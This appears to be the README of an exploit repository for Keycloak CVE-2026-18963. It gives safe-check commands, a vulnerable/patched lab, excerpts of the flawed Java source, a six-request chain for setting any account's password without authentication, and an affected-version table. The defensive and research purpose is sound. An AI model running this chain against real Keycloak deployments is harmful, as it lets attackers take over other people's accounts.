
Exploit for Keycloak CVE-2026-18963 enabling unauthenticated account takeover via reset-credentials bypass. Includes safe detection, non-destructive proof, full takeover, username enumeration, and a lab with vulnerable and patched versions.
Knowing only a username or e-mail address, an unauthenticated attacker sets an arbitrary password on any Keycloak account. The password-reset e-mail is delivered to the real victim and is never needed — the attacker never reads a mailbox, never clicks a link, and holds no prior credential or session.
Affected: Keycloak 26.0.0 – 26.7.1. Fixed in 26.7.2.
One command. No valid username required, and no side effects — it sends no e-mail, writes to no account, and stops before the exploitable step.
git clone https://github.com/Snizi/CVE-2026-18963-Exploit
cd CVE-2026-18963-Exploit
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm YOUR_REALM \
--client-id account \
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/ \
--safe-check
Python 3.9+, standard library only. Nothing to install.
| Exit | Verdict | Meaning |
|---|---|---|
0 | 🔴 VULNERABLE | the parked e-mail gate was served — the bug itself |
2 | 🟢 PATCHED | the flow forked to login and stayed there (fix #51844 present) |
2 | 🟡 MITIGATED | reset-credentials unreachable — Forgot password is off. Not a patch. |
3 | ⚪ INCONCLUSIVE | unrecognised response — do not read this as a pass |
Run it per realm — Forgot password is a per-realm setting, and master counts.
Details, and why the check needs no user and touches nothing, in
§4a.
Already know you are exposed? Jump to remediation and detection / threat hunting.
The repo ships a lab that boots a vulnerable 26.7.1 and a patched 26.7.2 side by side against an identical realm, plus a mailbox to watch the reset e-mail arrive and stay unread while the account is taken over:
cd lab && docker compose up -d
python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
--realm poc --client-id poc-app --safe-check # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
--realm poc --client-id poc-app --safe-check # PATCHED
⚠️ Authorised testing only
This repository exists for defenders, incident responders and authorised penetration testers. Run it against systems you own or hold written permission to test. Everything here ships with a self-contained vulnerable lab (
lab/), so nothing external needs to be touched to learn how the bug works. Pointing it at third-party infrastructure without authorisation is illegal in most jurisdictions and is not something this project supports.
References: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · fix keycloak#51844
Two defects chained. Neither is exploitable alone.
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
processAction() — any POST carrying the form key tryAnotherWay:
processor.getAuthenticationSession().setAuthNote(
AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);
The note is a bare boolean with no record of which execution set it. It is
cleared only in the branch that handles a submitted authenticationExecution
parameter. Omit that parameter — as this PoC does throughout — and the flag stays
set for the life of the authentication session.
processFlow() — while the flag is truthy, normal flow evaluation is skipped:
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
if (lastExecutionId != null) {
AuthenticationExecutionModel executionModel =
realm.getAuthenticationExecutionById(lastExecutionId);
if (executionModel != null)
return createSelectAuthenticatorsScreen(executionModel); // <-- attacker-usable form
}
}
It renders a submittable form aimed at whatever execution is currently parked, instead of keeping the session pinned on "waiting for the e-mail".
The glue is processResult() case FORK: — when Send Reset Email fires it stamps
CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> and forks
the browser to the login page. The parked execution is precisely the e-mail gate.
services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java
@Override
public void action(AuthenticationFlowContext context) {
context.getUser().setEmailVerified(true);
context.success();
}
Unconditional. Nothing verifies that the flow was resumed by a valid action token,
so reaching action() is treated as equivalent to proving mailbox control.
tryAnotherWay POST → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials → sticky flag serves a form targeting the parked e-mail execution
POST that form → ResetCredentialEmail.action() → success() → gate bypassed
→ flow advances to UPDATE_PASSWORD → attacker sets the password
Six HTTP requests, no authentication, no authenticationExecution parameter at any
point.
model.getId(), and processFlow() honours it only when it
equals CURRENT_AUTHENTICATION_EXECUTION, otherwise removes it. In the attack the
two differ (choose-user id vs. e-mail-gate id) — exactly what the patch detects, and
exactly the signal --safe-check keys on.ResetCredentialEmail.action() now requires
context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID))
and otherwise fails with INVALID_USER.| Line | Vulnerable | Community fix |
|---|---|---|
| Legacy (WildFly-based Keycloak, ≤ 17) | not affected | — |
| Quarkus 17 – 25.x | not affected | — |
| 26.0 | 26.0.0 – 26.0.17 | none |
| 26.1 | 26.1.0 – 26.1.5 | none |
| 26.2 | 26.2.0 – 26.2.16 | none |
| 26.3 | 26.3.0 – 26.3.5 | none |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (vendor backport tag) |
| 26.5 | 26.5.0 – 26.5.7 | none |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (vendor backport tag) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 |